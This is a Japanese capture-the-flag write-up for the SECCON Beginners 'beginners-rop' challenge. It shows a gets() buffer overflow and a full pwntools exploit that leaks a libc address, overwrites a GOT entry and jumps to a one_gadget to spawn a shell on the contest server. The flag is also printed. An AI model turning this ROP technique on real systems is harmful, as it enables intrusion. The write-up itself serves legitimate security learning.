Do you like programming?
Did you know Return Oriented Programming?
Cのプログラムとソースコード、そしてlibc-2.27.soが配布されます
#include <stdio.h>
#include <unistd.h>
char *gets(char *s);
int main() {
char str[0x100];
gets(str);
puts(str);
}
__attribute__((constructor))
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
明らかに自明なBuffer Overflowがあります
しかし、実行ファイルにはsystem()
やsyscall
がありません
また、NXビットが有効なのでshellcodeを実行することもできません
そこでROPとret2libcを組み合わせた攻撃をします
以下の手順で攻撃をします
引数を換えるために必要なpop rdi; ret;
は0x401283にあります
また、libc-2.27のone_gadgetのアドレスは0x4f3d5、0x4f432、0x10a41cにあります
今回は条件が[rsp+0x40] == NULL
と満たしやすそうな0x4f432を使用しました
送りつけるpayloadの内容は以下の通りです
1回目
2回目
exploit
#!python
from pwn import *
target = 'chall'
elf = ELF(target)
libc = ELF('libc-2.27.so')
local = 0
if local:
io = process(target)
gdb.attach(io)
else:
io = remote('beginners-rop.quals.beginners.seccon.jp', 4102)
pop_rdi = 0x00401283
payload = b'\x00'*0x108
payload += p64(pop_rdi)
payload += p64(elf.got['gets'])
payload += p64(elf.plt['puts']) # leak gets addr
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['gets']) # replace puts got
payload += p64(elf.plt['puts']) # call replaced puts
io.sendline(payload)
# ignore puts output
io.readline()
gets_addr = int.from_bytes(io.readline(), 'little') & 0x7fffffffffff
libc_addr = gets_addr - libc.functions['gets'].address
'''
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget_offset = 0x4f432
print('{:x} {:x}'.format(gets_addr, libc.functions['gets'].address))
print('libc address: {}'.format(hex(libc_addr)))
payload = p64(libc_addr + one_gadget_offset)
io.sendline(payload)
io.interactive()
ctf4b{H4rd_ROP_c4f3}